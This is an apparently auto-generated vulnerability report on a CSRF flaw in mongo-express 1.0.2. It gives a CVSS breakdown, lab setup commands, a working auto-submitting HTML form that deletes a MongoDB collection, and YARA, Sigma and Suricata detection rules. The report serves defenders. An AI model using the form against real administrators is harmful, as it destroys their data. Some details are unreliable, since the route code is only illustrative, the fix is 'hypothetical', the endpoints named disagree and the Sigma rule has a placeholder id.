CVE-2023-52555
Executive Summary
CVE-2023-52555 identifies a Cross-Site Request Forgery (CSRF) vulnerability in mongo-express version 1.0.2. The /admin endpoint lacks CSRF protection, allowing an attacker to trick an authenticated administrator into performing unintended actions, such as deleting a collection. This can lead to data loss or service disruption. The vulnerability has a CVSS score of 6.5 (Medium) and a public proof-of-concept exists. No official patch has been released, but upgrading to the latest version or implementing CSRF tokens mitigates the risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the mongo-express npm package. Organizations using this package should verify their version and apply mitigations. The package is widely used for managing MongoDB databases via a web interface, making it a target for supply chain attacks if compromised.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: High
- Availability Impact: None
The threat level is medium due to the requirement for user interaction (admin must be logged in and tricked). However, the impact on integrity is high, as an attacker can delete collections or perform other admin actions.
Deep Dive & Mechanics
The vulnerability exists in the /admin endpoint of mongo-express. The application does not implement CSRF tokens or other anti-CSRF mechanisms. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, sends a forged request to delete a collection. The request is processed because the browser automatically includes the admin's session cookies.
The attack flow:
- Admin logs into mongo-express.
- Attacker sends a phishing email with a link to a malicious page.
- The malicious page contains an auto-submitting form or an image tag that triggers a DELETE request to
/admin/collection/delete. - The server processes the request, deleting the collection.
Vulnerable vs. Patched Code
Vulnerable Code (mongo-express 1.0.2):
The /admin routes do not validate CSRF tokens. Example route handler:
app.delete('/admin/collection/:name', (req, res) => {
// No CSRF check
db.collection(req.params.name).drop();
res.send('Collection deleted');
});
Patched Code (hypothetical fix): Implement CSRF token validation:
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.delete('/admin/collection/:name', csrfProtection, (req, res) => {
// CSRF token validated
db.collection(req.params.name).drop();
res.send('Collection deleted');
});
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install mongo-express 1.0.2:
npm install mongo-express@1.0.2 - Start MongoDB:
mongod - Start mongo-express:
node app.js - Create a test collection:
db.createCollection('test')
Exploit:
Create an HTML file (exploit.html):
<html>
<body>
<form action="http://target:8081/admin/collection/test" method="POST">
<input type="hidden" name="_method" value="DELETE">
<input type="submit" value="Click me">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Host the file and send the link to the admin. When the admin visits, the collection is deleted.
Blue Team
Detection:
- Monitor for unexpected DELETE requests to
/admin/collection/*. - Check for unusual referer headers or missing CSRF tokens.
- Use web application firewalls (WAF) to block requests without proper tokens.
Mitigation:
- Upgrade mongo-express to the latest version.
- Implement CSRF tokens manually if upgrade is not possible.
- Use same-site cookies (e.g.,
SameSite=Strict).
Indicators of Compromise (IOCs)
- Network: HTTP DELETE requests to
/admin/collection/*with no CSRF token. - Logs: Server logs showing collection deletion events without prior admin action.
- File: Presence of
exploit.htmlor similar phishing pages on attacker-controlled servers.
Detection Engineering
YARA Rule
rule CVE_2023_52555_CSRF {
meta:
description = "Detects mongo-express CSRF exploit attempts"
author = "Valters IT"
date = "2025-04-10"
strings:
$s1 = "/admin/collection/" ascii wide nocase
$s2 = "_method=DELETE" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: CVE-2023-52555 - mongo-express CSRF Exploit
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP DELETE requests to /admin/collection/ without CSRF token
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'DELETE'
cs-uri-query|contains: '/admin/collection/'
condition: selection
falsepositives:
- Legitimate admin actions
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-52555 - mongo-express CSRF Exploit"; flow:to_server; http.method; content:"DELETE"; http.uri; content:"/admin/collection/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade mongo-express to the latest version (if available) or apply a patch that adds CSRF protection.
- Workaround: Implement CSRF tokens manually using middleware like
csurf. - Configuration: Set
SameSite=StrictorSameSite=Laxon session cookies. - Monitoring: Enable logging for all admin actions and alert on unexpected deletions.
- User Training: Educate administrators about phishing attacks that could trigger CSRF.
Valters IT signature: This report is generated for educational and defensive purposes. Always verify with official sources.